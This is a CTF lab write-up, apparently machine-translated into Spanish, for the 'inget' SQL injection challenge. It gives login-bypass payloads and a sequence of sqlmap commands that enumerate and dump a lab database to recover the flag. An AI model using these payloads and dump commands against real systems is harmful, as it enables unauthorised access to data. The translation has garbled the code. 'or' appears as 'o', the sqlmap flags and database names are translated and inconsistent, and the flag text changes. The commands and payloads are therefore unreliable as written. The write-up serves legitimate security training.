Attack and Defense World-inget (inyección SQL simple, contraseña universal)

Tabla de contenido

1. Inyección manual (principio de contraseña universal)

Segundo, implementación de sqlmap

3. Parámetros de uso común


1. Inyección manual (principio de contraseña universal)

Abra el enlace, solicite la identificación e intente omitirlo.

 Pruebe la contraseña universal y utilice declaraciones lógicas para devolver el resultado

Construir carga útil

/?id=' o ''='

Aquí pasamos un valor a la identificación en el front-end usando parámetros get, y el back-end consultará el contenido que enviamos.

Por ejemplo, lo que enviamos es id=123

Y parte del contenido que probablemente se mostrará en el backend es 'id=123'

Habrá comillas simples para incluir este contenido para consultas.

De esta manera podemos comprender mejor el principio de la carga útil anterior.

Pasamos id=' o ''='. De hecho, cuando llegamos al backend, se ve así: 'id=' o ''=''

Explicación de las cuatro comillas simples que ingresamos:

La primera comilla simple forma un cierre con la comilla simple anterior durante la consulta;

La segunda comilla simple forma un cierre con las siguientes comillas simples durante la consulta;

La tercera y cuarta comillas simples son en realidad lo que hace que el signo igual sea verdadero, es decir, '="

Sabemos que siempre que uno de los dos lados de o sea verdadero, el resultado será verdadero, y las comillas simples = comillas simples definitivamente siempre son verdaderas.

 

También es posible reemplazar '=" con 1=1

es decir, carga útil

/?id=' o '1=1

 Hay otra carga útil aquí

/?id=' o 1=1 -- +

La primera comilla simple también se cierra con la comilla simple anterior en la consulta y --+ actúa como un comentario para comentar las siguientes declaraciones.

Para obtener conocimientos básicos más detallados y el proceso de inyección manual de SQL, consulte mi blog anterior.

http://t.csdn.cn/mFNQA

 El resultado es el mismo

Obtener bandera es: cyberpeace{818e277716501adc71a98b501c4d7a99}

Segundo, implementación de sqlmap

A continuación usamos sqlmap para inyectar

La introducción y el uso de sqlmap también se presentan en detalle en el blog anterior, puede consultar

http://t.csdn.cn/8xeJ1


Primero use sqlmap para verificar aproximadamente

sqlmap -u "http://61.147.171.105:54285/?id=1"

Intenta enumerar todas las bases de datos.

sqlmap -u "http://61.147.171.105:54285/?id=1" --dbs 
 

Puede ver que hay una base de datos llamada cyber y especificamos la tabla para enumerarla.

Enumerar las tablas de la base de datos especificada.

sqlmap -u "http://61.147.171.105:54285/?id=1" -D ciber --tables 

 Puede ver que solo hay una tabla en esta base de datos y tiene el mismo nombre que la base de datos.

Seguimos enumerando los campos de la tabla especificada.

sqlmap -u "http://61.147.171.105:54285/?id=1" -D cibernético -T cibernético --columnas 

 Intenta obtener los datos en el campo especificado.

sqlmap -u "http://61.147.171.105:54285/?id=1" -D cibernético -T cibernético -C pw --dump

 obtener bandera

ciberpaz{818e277716501adc71a98b501c4d7a99}

3. Parámetros de uso común

Resuma algunos parámetros de uso común de sqlmap:

-D selecciona qué base de datos usar

-T selecciona qué tabla usar

-C selecciona qué columna usar

--tables lista las tablas actuales

--columnas enumeran las columnas actuales

--dump Obtiene los datos en el campo

Supongo que te gusta

Origin blog.csdn.net/Myon5/article/details/130161474
Recomendado
Clasificación